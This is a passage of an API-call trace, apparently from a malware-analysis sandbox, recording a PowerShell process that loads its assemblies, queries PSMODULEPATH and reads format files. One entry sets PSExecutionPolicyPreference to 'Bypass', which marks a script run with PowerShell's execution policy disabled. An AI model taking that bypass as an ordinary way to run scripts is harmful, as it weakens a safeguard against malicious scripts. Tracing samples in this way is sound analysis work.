lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.656] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.656] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.818] SetConsoleCtrlHandler (HandlerRoutine=0x2a5677c, Add=1) returned 1 [0240.832] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0240.832] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0240.832] CoTaskMemFree (pv=0x254e30) [0240.854] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0240.897] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x31c [0241.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.843] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0241.885] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0241.885] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0241.885] CoTaskMemFree (pv=0x254e30) [0241.935] CoTaskMemAlloc (cb=0xcc) returned 0x1b81d730 [0241.935] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b81d730, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0241.935] CoTaskMemFree (pv=0x1b81d730) [0241.935] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xed7e8 | out: phkResult=0xed7e8*=0x324) returned 0x0 [0241.935] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xed76c, lpData=0x0, lpcbData=0xed768*=0x0 | out: lpType=0xed76c*=0x2, lpData=0x0, lpcbData=0xed768*=0x6c) returned 0x0 [0241.936] CoTaskMemAlloc (cb=0x70) returned 0x2a1300 [0241.936] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xed73c, lpData=0x2a1300, lpcbData=0xed738*=0x6c | out: lpType=0xed73c*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0xed738*=0x6c) returned 0x0 [0241.936] CoTaskMemFree (pv=0x2a1300) [0241.936] CoTaskMemAlloc (cb=0xcc) returned 0x1b81d730 [0241.936] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x1b81d730, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0241.936] CoTaskMemFree (pv=0x1b81d730) [0241.936] CoTaskMemAlloc (cb=0xcc) returned 0x1b81d730 [0241.936] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b81d730, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0241.937] CoTaskMemFree (pv=0x1b81d730) [0241.940] RegCloseKey (hKey=0x324) returned 0x0 [0241.940] CoTaskMemAlloc (cb=0xcc) returned 0x1b81d730 [0241.941] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b81d730, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0241.941] CoTaskMemFree (pv=0x1b81d730) [0241.941] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xed7e8 | out: phkResult=0xed7e8*=0x324) returned 0x0 [0241.941] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xed76c, lpData=0x0, lpcbData=0xed768*=0x0 | out: lpType=0xed76c*=0x0, lpData=0x0, lpcbData=0xed768*=0x0) returned 0x2 [0241.941] RegCloseKey (hKey=0x324) returned 0x0 [0242.025] CoTaskMemAlloc (cb=0x20c) returned 0x2f88b0 [0242.025] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2f88b0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0242.142] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x330 [0242.143] GetFileType (hFile=0x330) returned 0x1 [0242.143] SetErrorMode (uMode=0x1) returned 0x1 [0242.143] GetFileType (hFile=0x330) returned 0x1 [0243.018] VirtualQuery (in: lpAddress=0xec130, lpBuffer=0xecff0, dwLength=0x30 | out: lpBuffer=0xecff0*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.019] VirtualQuery (in: lpAddress=0xec130, lpBuffer=0xecff0, dwLength=0x30 | out: lpBuffer=0xecff0*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.019] VirtualQuery (in: lpAddress=0xec130, lpBuffer=0xecff0, dwLength=0x30 | out: lpBuffer=0xecff0*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.020] VirtualQuery (in: lpAddress=0xec130, lpBuffer=0xecff0, dwLength=0x30 | out: lpBuffer=0xecff0*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.021] VirtualQuery (in: lpAddress=0xec130, lpBuffer=0xecff0, dwLength=0x30 | out: lpBuffer=0xecff0*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.021] VirtualQuery (in: lpAddress=0xec130, lpBuffer=0xecff0, dwLength=0x30 | out: lpBuffer=0xecff0*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.344] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0243.344] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0243.344] CoTaskMemFree (pv=0x254e30) [0243.671] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0243.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0243.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0243.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0243.870] VirtualQuery (in: lpAddress=0xebc80, lpBuffer=0xecb40, dwLength=0x30 | out: lpBuffer=0xecb40*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.870] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0xe40420ff, Data2=0x6191, Data3=0x4f2b, Data4=([0]=0xb9, [1]=0x81, [2]=0x8f, [3]=0x92, [4]=0x42, [5]=0xc0, [6]=0xb5, [7]=0xb2))) returned 0x0 [0243.871] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0xd3a39e60, Data2=0x8c47, Data3=0x4f89, Data4=([0]=0xa5, [1]=0x82, [2]=0x82, [3]=0x9f, [4]=0x45, [5]=0xe0, [6]=0x96, [7]=0x49))) returned 0x0 [0243.872] VirtualQuery (in: lpAddress=0xebe30, lpBuffer=0xeccf0, dwLength=0x30 | out: lpBuffer=0xeccf0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.872] VirtualQuery (in: lpAddress=0xebe30, lpBuffer=0xeccf0, dwLength=0x30 | out: lpBuffer=0xeccf0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.873] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0x66b78589, Data2=0x8a53, Data3=0x4241, Data4=([0]=0x8a, [1]=0x8d, [2]=0x87, [3]=0xe, [4]=0x9c, [5]=0x48, [6]=0x9f, [7]=0xd1))) returned 0x0 [0243.876] CoCreateGuid (in: pguid=0xed410 | out: pguid=0xed410*(Data1=0x5c7aa9cb, Data2=0xe7e4, Data3=0x4465, Data4=([0]=0x9e, [1]=0xbf, [2]=0xbb, [3]=0xa6, [4]=0x45, [5]=0x95, [6]=0xba, [7]=0x95))) returned 0x0 [0243.876] VirtualQuery (in: lpAddress=0xec080, lpBuffer=0xecf40, dwLength=0x30 | out: lpBuffer=0xecf40*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0243.884] SetErrorMode (uMode=0x1) returned 0x1 [0243.887] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.887] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.887] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.888] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.888] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.888] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.888] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.889] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.889] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.889] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.889] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.889] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.889] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.890] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.890] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.891] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x1000, lpOverlapped=0x0) returned 1 [0243.891] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0xbce, lpOverlapped=0x0) returned 1 [0243.891] ReadFile (in: hFile=0x30c, lpBuffer=0x34f46e6, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f46e6*, lpNumberOfBytesRead=0xed158*=0x0, lpOverlapped=0x0) returned 1 [0243.891] ReadFile (in: hFile=0x30c, lpBuffer=0x34f4fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed158, lpOverlapped=0x0 | out: lpBuffer=0x34f4fb0*, lpNumberOfBytesRead=0xed158*=0x0, lpOverlapped=0x0) returned 1 [0243.891] CloseHandle (hObject=0x30c) returned 1 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0243.891] SetErrorMode (uMode=0x1) returned 0x1 [0243.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed100 | out: lpFileInformation=0xed100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0243.891] SetErrorMode (uMode=0x1) returned 0x1 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xece30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0243.892] CoTaskMemFree (pv=0x31f1b0) [0243.892] RegCloseKey (hKey=0x30c) returned 0x0 [0243.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xece30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0243.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", 